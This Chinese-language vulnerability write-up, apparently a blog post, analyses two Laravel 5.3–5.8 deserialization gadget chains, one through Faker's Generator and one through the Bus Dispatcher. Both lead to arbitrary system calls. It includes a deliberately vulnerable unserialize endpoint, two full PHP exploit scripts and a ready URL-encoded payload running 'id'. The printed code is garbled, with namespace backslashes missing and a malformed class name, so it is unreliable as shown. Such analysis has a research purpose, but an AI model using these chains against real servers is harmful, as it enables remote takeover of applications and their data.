laravel本身没有反序列化的调用机制,只有依赖于二次开发或者敏感函数才能触发反序列化。在Laravel5.3以后的版本引入IlluminateBroadcastingPendingBroadcast.php
文件,存在__destrcut魔法函数引发一系列问题。这里我对框架本身能造成rce的点进行分析,一处是三方组件fzaninotto的回调调用call_user_func_array
造成的rce,另一处是p神在lumenserial找到laravel核心库的一处任意函数调用。
Laravel自加载组件fzaninotto组件RCE
版本说明
fzaninotto
在laravel 5.1以后composer默认安装
autoload_classmap.php
可以看到,在进行依赖加载的时候默认将/fzaninotto/faker/src/Faker/Generator.php
注册到全局变量$classmap
中,在程序调用相关类时遵从PSR4的规范,也就是说我们反序列化是可以调用/fzaninotto/faker/src/Faker/
目录下的任何文件。
适用条件
- laravel 5.3-5.8
- 寻找可控的反序列化点,才能触发该漏洞
漏洞复现
环境搭建
本地搭建laravel最新的环境 5.8.29
构造一个反序列化可控点,在app/Http/Controllers
文件夹下创建文件TaskController.php,源码如下:
<?php
namespace AppHttpControllers;
class TaskController
{
public function index(){
unserialize($_GET['url']);
}
}
在routes/web.php
文件中添加这样路由记录
Route::get('/bug', 'TaskController@index');
漏洞复现
EXP
<?php
//exp.php
namespace Faker{
class Generator{
protected $formatters = array();
public function __construct($formatters)
{
$this->formatters = $formatters;
}
}
}
namespace IlluminateBroadcasting{
class PendingBroadcast.php``
{
protected $events;
protected $event;
public function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
}
namespace{
$generator = new FakerGenerator(array("dispatch"=>"system"));
$PendingBroadcast = new IlluminateBroadcastingPendingBroadcast($generator,"id");
echo urlencode(serialize($PendingBroadcast));
}
运行exp.php生成poc,如果环境搭建没有问题,直接请求下面的uri既能看到rce效果
bug?url=O%3A40%3A"Illuminate%5CBroadcasting%5CPendingBroadcast"%3A2%3A%7Bs%3A9%3A"%00%2A%00events"%3BO%3A15%3A"Faker%5CGenerator"%3A1%3A%7Bs%3A13%3A"%00%2A%00formatters"%3Ba%3A1%3A%7Bs%3A8%3A"dispatch"%3Bs%3A6%3A"system"%3B%7D%7Ds%3A8%3A"%00%2A%00event"%3Bs%3A2%3A"id"%3B%7D
EXP流程
在入口设置断点,传入payload
步入IlluminateFoundationAliasLoader
的load函数,检测要实例的对象是否是laravel注册门面类,这里不满足条件
因此步入ComposerAutoloadClassLoader
查找相应class对应于vendor中的php文件。也就是上文提到的laravel在加载服务容器时会执行的autoload_class
作用结果
看到调用栈能够成功读取到FakerGenerato
文件,并返回给includefile()
载入文件后步入到了反序列化的入口__destruct函数
步入执行dispatch函数,跳转到vendor/fzaninotto/faker/src/Faker/Generator.php
的call方法
跟进format函数如下图,发现此时的$arguments为可控值即我们序列化传入的$this->event
继续步入看看getFormatter函数的具体实现
public function getFormatter($formatter) # formatter = dispatch
{
if (isset($this->formatters[$formatter])) { # formatters可控
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];
}
}
throw new InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}
判断formatters[formatter]存在即返回,然而formatters也是我们可控的,那就能返回任意函数名了。即call_user_func_arrary的函数名和函数值都可控,rce实现~
Dispatcher处存在任意函数调用
首先还是看一下造成漏洞的点在vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php
,允许我们使用call_user_func
进行任意函数调用,且参数可控。
接着我们从源头追pop。入口方法依然在vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php
中,__destrcut执行dispatch函数
这次全局搜索哪些类存在dispatch函数,正好dispatcher本身中就存在,而且调用到了漏洞触发函数dispatchToQueue
去执行call_user_func
这里首先进行了如下条件判断
$this->queueResolver && $this->commandShouldBeQueued($command)
跟进commandShouldBeQueued
发现command参数必须是继承自 ShouldQueue
接口的对象才能进入判断,这点我们可以通过序列化控制$command为对象。
只需要全局搜一下哪个类实现了ShouldQueue
接口,这里使用BroadcastEvent
判断走通回到dispather,进行函数dispatchToQueue
调用,$connection
参数取自$command
的connection属性
但是BroadcastEvent
没有connection属性。不过没有关系,我们自己序列化可以给类添加任何想要的属性。因为反序列化的时候不执行该类__contrust,自然也不会在BroadcastEvent
中报错。
流程就这么简单,构造每个类的属性,让条件走通就行了。构造的exp
<?php
namespace IlluminateBroadcasting{
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
class BroadcastEvent
{
protected $connection;
public function __construct($connection)
{
$this->connection = $connection;
}
}
}
namespace IlluminateBus{
class Dispatcher{
protected $queueResolver;
public function __construct($queueResolver)
{
$this->queueResolver = $queueResolver;
}
}
}
namespace{
$command = new IlluminateBroadcastingBroadcastEvent("whoami");
$dispater = new IlluminateBusDispatcher("system");
$PendingBroadcast = new IlluminateBroadcastingPendingBroadcast($dispater,$command);
echo urlencode(serialize($PendingBroadcast));
}
只不过是没有回显,需要我们可以外带出去,这里调试的结果成功执行system获取whoami为hpdoger